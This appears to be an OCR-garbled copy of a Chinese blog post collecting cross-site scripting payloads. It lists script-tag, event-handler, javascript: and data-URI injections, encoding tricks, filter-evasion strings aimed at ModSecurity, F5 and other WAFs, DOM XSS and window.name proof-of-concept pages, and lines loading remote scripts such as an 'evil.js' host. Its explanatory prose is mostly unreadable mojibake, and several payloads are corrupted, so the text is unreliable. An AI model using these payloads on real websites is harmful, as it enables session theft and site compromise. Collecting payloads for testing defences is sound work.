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1. {EFTcERIpayload , #bl<b>, <i>, <u> BRI , FMTNFBREFEARHTMURS | EEtREHids , EmdR<>%%;
2. WESERAATRES , TR Ipayload ( <b,<i,<marquee ) BRI ;
3. =A™ payload

<script>alert(1);</script>
<script>prompt(1);</script>

<script>confirm (1);</script>
<script src="http://rhainfosec.com/evil.js">

FRRESHEATENN , SERANGREFH

<scRiPt>alert(1);</scrIPt>

1. AERANEATHRE , <script>#adEEid <scr<script>ipt>alert(1) </scr<script>ipt> ;

2. {Fl<a>1FES

<a href=“http://www.google.com">Clickme</a>

<athadiig ?

hrefigadis ?

Bzt ?

R SEISE=IFH<a href=" javascript:alert(1)” >Clickme</a>

SRR RS T E<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>

HTMLS#EE 150 NEEAMERE |, nlZSStE iR <body/onhashchange=alert(1)> <a href=#>clickit

A EAARES

srciEtE


https://blog.csdn.net/hack8
https://blog.csdn.net/hack8/category_506563.html
https://blog.csdn.net/hack8/category_506563.html
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=hack8&utm_content=38781963

<img src=x onerror=prompt(1);>

<img/src=aaa.jpg onerror=prompt(1);

<video src=x onerror=prompt(1);>

<audio src=x onerror=prompt(1);>
iframe

<iframesrc="javascript:alert(2)">
<iframe/src="data:text&sol;html;&Tab;base64&NewLine; ,PGIvZHkgb25sb2FkPWFsZXJOKDEpPg=="

Embed

<embed/src=//goo.gl/nlXepP>

Action
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<isindex action=data:text/html, type=image>

mario&iE

<formaction=&#039;data:text&sol;html,&1t;script&gt;alert(1)&1lt/script&gt&#039;><button>CLICK

“formaction” Bt

<isindexformaction="javascript:alert(1)" type=image>
<input type="image" formaction=JaVaScript:alert(9)>
<form><button formaction=javascript&colon;alert(1)>CLICKME

“background” Bt

<table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6

“posters” &M

<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5

"data” EBi&

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlXeP?

ucodeu E’t‘t



<applet code="javascript:confirm(document.cookie);"> // Firefox Only
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>

SR

<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/

<body onload=prompt(1);>

<select autofocus onfocus=alert(1)>

<textarea autofocus onfocus=alert(1)>

<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">

#8payload

<g/oncut=open()>

<g/oncut=alert(1)> // Useful in-case of payload restrictions.
EREHTR

<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<body language=vbsonload=alert-1 // Works with IE8
<command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\X6F \x6C\x6F\X6E\x3B\Xx63\x6F\X6E\

<a onmouseover="javascript:window.onerror=alert;throw 1>

<img src=x onerror="javascript:window.onerror=alert;throw 1">
<body/onload=javascript:window.onerror=eval;throw&#039;=alert\x281\x298&#039; ;

Expression &t
<img style="xss:expression(alert(@))"> // Works upto IE7.

<div style="color:rgb(&#039;&#039;x:expression(alert(1))"></div> // Works upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7

“location” Bt

<a onmouseover=location="javascript:alert(1)>click
<body onfocus="location=&#039;javascrpt:alert(l) >123

HfttPayload



<meta http-equiv="refresh" content="0;url=//goo.gl/nl1Xep">

<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>

<svg xmlns="http://www.w3.0rg/2000/svg"><g onload="javascript:\uee6llert(1);"></g></svg> // B
<svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin
<svg>< ! [CDATA[ ><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg> // By @secalert

<meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed

() ; g

<svg><script>alert&#40/1/&#41</script> // Works With All Browsers
( is html encoded to &#40
) is html encoded to &#41

Operaf'Zr=

<svg><script>alert&#40 1&#41 // Works with Opera Only

SLURES

&1t;
<a

it

/script&gt;&1t;script&gt;alert(1)&1t;/script&gt;
href="7j&#x26;#x26#x41;vascript:alert%252831337%2529">Hello</a>

JavaScript 2EREES , BILMERH S, Unicode, HTMLESH 4D , LITNEMBILERARRG ( S3FHTML, Octal, Decimal,
Hexadecimal, and Unicode )

href
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= //R¥%¥base64
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<input value="XSStest" type=text>



HANTRILMERE "> <imgsrc=x onerror=prompt(0);>fit% , (BRAMER< >#TLSE , BAWFARJLMER " autofocusonfocus=alert(1)//fitk , EANE(F
B " XFvaluefEtE , BNNAERS 89 A

onmouseover="prompt(0) x="

" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1l) autofocus a="

EINEITE <script > RS
FPHXFENR, |

<script>
Var
x="Input”;
</script>

BE , BAYER "> </script> [AERMEAY</script>1TR&s | SATHDXAMER , Ffi Eal SR Ti4alert(), prompt(
confirm() , {50 :

“alert(1)//
A
DOMfocusin, DOMfocusout, Z=54 | XS ER SR HRImESAY T, B0

";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//

he=Stnglng

DOMAttrModified
DOMCharacterDataModified
DOMFocusIn

DOMFocusOut

DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified

EVZNANZS
(AEERSEN PN

<a
href="Userinput”>Click</a>

AL MsEHjavascript:alert(1)//Ef&iT<a
href="'javascript:alert(1)//" >Click</a>

B3



FEEEAINGH

JavaScriptZJts

javascript&#058;alert(1)

javaSCRIPT&colon;alert(1)

JaVaScRipT:alert(1)

javas&Tab;cript:\uee6llert(1);
javascript:\u@o6llert&#x28;1&#x29
javascript&#x3A;alert&lpar;document&period;cookie&rpar;

IE1OLA ™A OURIFRE]LMERAVBScript
vbscript:alert(1);

vbscript&#058;alert(l);
vbscr&Tab;ipt:alert(1)"

Data UR

data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXBOPg==

JSONHZE
[EEIN

encodeURIComponent (&#039;userinput&#039;)

FILAER
-alert(1)-
-prompt(1)-
-confirm(1)-
=R

encodeURIComponent (&#039;&#039; -alert(1)-&#039;&#039;)
encodeURIComponent (&#039;&#039; -prompt (1) -&#039;&#039;)

NS ESVOIREH
VRS

<svg><script>varmyvar="YourInput”;</script></svg>

RIYLTN

www.site.com/test.php?var=text”;alert(1)//

WEREGHRIS T AT

// AsharJaved



<svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>

INTBIIMET (XML ) EIHTMLISAEE |, BILASEFRRRYRASNER

NEEEEBUG

FHEBUG

SRSEBUGIHEHREE , BEAbUGRUTF-7, MEESSHTISRD , B TFILILE99% KWARTE.
Gl

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS

AILAHERD | 152

http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v="><img
src=x onerror=prompt(0);>

BILMESTIUTF-324mp 3

VE®scriptfiialert (1) /scriptii
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert (1)%E3

=
EIFERGEEmod _securityBakis , T :

<scri%@opt>alert(1);</scri%oopt>
<scri\xeept>alert(1l);</scri%oopt>
<S%00C%00r%00%001ip%eet>confirm(0) ;</s%00c%00r%00%001ip%eot>

EFHFIERTPHP 5.3.8L EAGhRA
BZEBUG

RFCARRF RS RERasts |, AT avascript i e8zf T
<script>alert(1);</script>
<%@ascript>alert(1);</script>
<%@bscript>alert(1);</script>

<%, <//, <\, <TEJLIEIRIAY < , FRLARTLASERRLA M payload

<// style=x:expression\28write(1)\29> // Works upto IE7

£&http,//htmi5sec.org/#71

<!--Tif]><script>alert(1)</script --> // Works upto IE9



Z£5%http://htmlSsec.org/#115

<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> // Works in IE7

£ http://html5sec.org/#77

<%div%20style=xss:expression(prompt(1))> // Works Upto IE7

Unicodef B8

[on\w-H\s* BN T FrEonZ4 | 9 TINEE MRS FEXHIDTRAT . AILAERfuzzing75i R0 < 000X | £554TTs

IExplorer= [@x089,08x0B,8x08C,8x20,08x3B ]
Chrome = [0x089,0x20,08x28,08x2C,0x3B]
Safari = [0x2C,0x3B]

FireFox= [@Xx089,0x20,08x28,08x2C,0x3B]
Opera = [@x@9,0x20,0x2C,0x3B]

Android = [@Xx089,0x20,08x28,08x2C,0x3B]

x@bfEMod_security BEMITIE, Sat k.
<a/onmouseover[\x0b]=1location=&#039; \x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x2

TR DX-framelfElin

BESINIX-frame 2RSSR EAHYECE | FEECthRILHA{ERiframes [FBRIXssimIR
Docmodes

IESINT doc-modefRI<ATIE] , IRFESEMASISRRAYRIRRETE | AXIG , ILEREREAILAS FHRS-HIERR | RIS | \doc-modetfifTessk
Xz

expression(open(alert(1)))

LARPOCAILUENZUE7 o

<html>

<body>

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<iframesrc="https://targetwebsite.com">

</body>

</html>

Window.name&fd
155 : B IFiframehE—1Nam , Ffi RILASHEORYER | XEHAL N Tjavascripth3

POC

<iframesrc=&#039;http://www.target.com?foo="xss autofocus/AAAAA onfocus=location=window.name//&#039;
name="javascript:alert("XSS")"></iframe>

DOMEUXSS

IRRASITLEDOMEYIXSS |, EADOMEUXS SIS EE i T , &I F -



<script>
vari=location.hash;
document.write(i);
</script>

BT |, REIBIXSSTILIESHEEDOMEIXSS

http://www.target.com/xss.php?foo=<svg/onload=1location=/java/.source+/script/.source+location.hash[1]+/al

_HERIPOCIHAEL + &SR MEMA , AILMsERlocation. hashi E NH ARSI D

Location.hash[1] = : // Defined at the first position after the hash.
Location.hash[2]= ( // Defined at the second position after the has
Location.hash[3] = ) // Defined at third position after the hash.

WEREEF R SERTRANER

L2501

ModSecurityzgs

<scri%eopt>confirm(0);</scri%eept>
<a/onmouseover[\x0b]=1location=&#039; \X6A\Xx61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x2

Z2Ehttp://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.htmi

WEB KNIGHTZg Y

<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1l) type=image>
<marquee/onstart=confirm(2)>

F5 BIG IP ASM and Palo ALTOZg %

<table background="javascript:alert(1)"></table> //IE6EiE K AOpera
“/><marquee onfinish=confirm(123)>a</marquee>

Dot Defenderggd
<svg/onload=prompt(1);>

<isindex action="javas&tab;cript:alert(1l)" type=image>
<marquee/onstart=confirm(2)>

Zie

FEEESTUNEAERITIWERI DL | (BRI SERRNERS |, T WA , SR ECEATT
1. FREEIERETSWAF SRR | H R ICA RS- R R GHESA DT T NTEE ;



2. EFBWAFLIIZESES ;
3. WAFRILECESETRS , SRS S content-lengthfRAi MEE , content-typesBY , TENEITIHH T ;
4, SMERWAFIEERZE , BRI SEEARONIEEEBUG |, FEMERHINIZEE AT,

2%

https://zdresearch.com/zdresearch-xss1-challenge-writeup/
http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
http://html5sec.org

https://cure53.de/xfo-clickjacking.pdf

http://resources.infosecinstitute.com/demystifying-html-5-attacks/



https://zdresearch.com/zdresearch-xss1-challenge-writeup/
http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
http://html5sec.org/
https://cure53.de/xfo-clickjacking.pdf
http://resources.infosecinstitute.com/demystifying-html-5-attacks/
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